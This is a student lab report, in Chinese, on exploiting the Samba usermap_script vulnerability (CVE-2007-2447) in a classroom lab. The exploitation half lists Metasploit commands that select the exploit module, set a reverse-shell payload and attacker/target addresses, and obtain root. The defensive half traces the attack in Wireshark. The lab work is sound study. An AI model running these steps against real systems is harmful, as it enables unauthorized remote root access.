20242924 2024-2025-2 《网络攻防实践》实践七报告
20242924 2024-2025-2 《网络攻防实践》实践七报告
1.实践内容
1.1 Samba安全漏洞
linux 环境下常用的 samba 服务低版本存在溢出攻击。Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB 协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
1.2 username_script
username_script是Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行,影响Samba的3.0.20到3.0.25rc3 版本,当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令。
1.3 Metasplout
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。Metasploit核心中绝大部分有Rudy实现,一小部分由汇编和C语言实现。
1.4 shellcode
shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
shellcode可以按照攻击者执行的位置分为本地shellcode和远程shellcode。
本地shellcode:本地运行的shellcode经常用于利用软件漏洞提升权限。比如在Linux下由普通权限提升至root权限。
远程shellcode:利用软件漏洞获得特定的shellcode,再经由C或Python编写远程攻击程序,进而取得对方电脑的root权限。
Shellcode是漏洞利用的必备要素,也是漏洞分析的重要环节,我们可以通过对shellcode进行定位来辅助回溯原理并确定漏洞特征,通过对shellcode功能的分析,我们还可以确定漏洞样本的危害程度的及其目的,并优肯追踪攻击来源,这对apt供给分析中的溯源工作非常有利。
2.实践过程
2.1 使用Metasploit进行Linux远程渗透攻击
- 任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限
| 主机 | IP地址 |
|---|---|
| kali(攻击机) | 192.168.200.2 |
| Metasploitable_ubuntu(靶机) | 192.168.200.18 |
2.1.1 启动Metasploit软件
连通性测试

输入令msfconsole在kali中进入Metasploit
2.1.2 使用exploit:exploit/multi/samba/usermap_script渗透攻击模块
选择渗透攻击模块:输入use exploit/multi/samba/usermap_script 选择针对usermap_script 漏洞的渗透攻击模块

2.1.3 选择攻击PAYLOAD为远程shell
输入show payloads,列举负载模块,输入set payload cmd/unix/reverse,选择18号攻击负载模块TCP(reverse)


2.1.4 执行渗透攻击
通过以下命令设置渗透攻击参数
set LHOST 192.168.200.2
set RHOST 192.168.200.18
exploit

2.1.5 查看是否正确得到远程Shell,并查看获得的权限
输入ifconfig查看靶机IP与真实IP一致,说明渗透攻击成功。输入whoami查看获得权限为root

2.2 攻防对抗实践
- 攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
| 主机 | IP地址 |
|---|---|
| kali(攻击机) | 192.168.200.2 |
| Metasploitable_ubuntu(靶机) | 192.168.200.18 |
实践二与实践一的流程基本一样,在运行攻击之前打开wireshark抓包。进入Metasploit,输入指令search usermap搜索漏洞-->使用指令use exploit/multi/samba/usermap_script来进行对应脚本的攻击-->set PAYLOAD cmd/unix/reverse来设置有效的攻击载荷-->设置攻击机ip地址和靶机ip地址-->输入exploit开始执行攻击

输入指令shell和id查看shell权限账户及其所在的权限组,输入指令whomai查看当前权限账户:

打开wireshark,监听获得网络攻击的数据包文件,分析可知攻击者的IP为192.168.200.2,目标IP为192.168.200.18,目标端口为139。139 端口是为“NetBIOS Session Service” 提供的,主要用于提供Windows 文件和打印机共享以及 Unix 中的 Samba 服务。Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。在这里的攻击利用了Samba服务的漏洞:


首先是攻击机向靶机发送一个SMB的Negotiate Protocol Request数据报,然后靶机响应一个SMB的Negotiate Protocol Response数据报。然后攻击机向靶机发起一个Session setup X request(会话设置请求)数据报,靶机确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接。

追踪第一个SMB数据包的TCP流,可知攻击机利用4444端口与靶机建立telnet服务:

打开第一个TCP数据包具体分析,发现攻击时间是2025年4月9日22点05分03秒

在wireshark追踪对应的TCP流可以看见运行攻击指令之后输入的指令:

3.学习中遇到的问题及解决
- 问题1:查询攻击时间发现对不上
- 问题1解决方案:设置的是美国时间
4.实践总结
本次实验再次利用Metasploit漏洞进行攻击,成功拿到了shell,对靶机进行远程控制。这次实验过程不是很复杂,但是实验原理以及基础知识还需要进一步学习,而且在分析数据包的时候有时候不能有针对性地找到相应的包,在以后的实践中要进一步加强。
浙公网安备 33010602011771号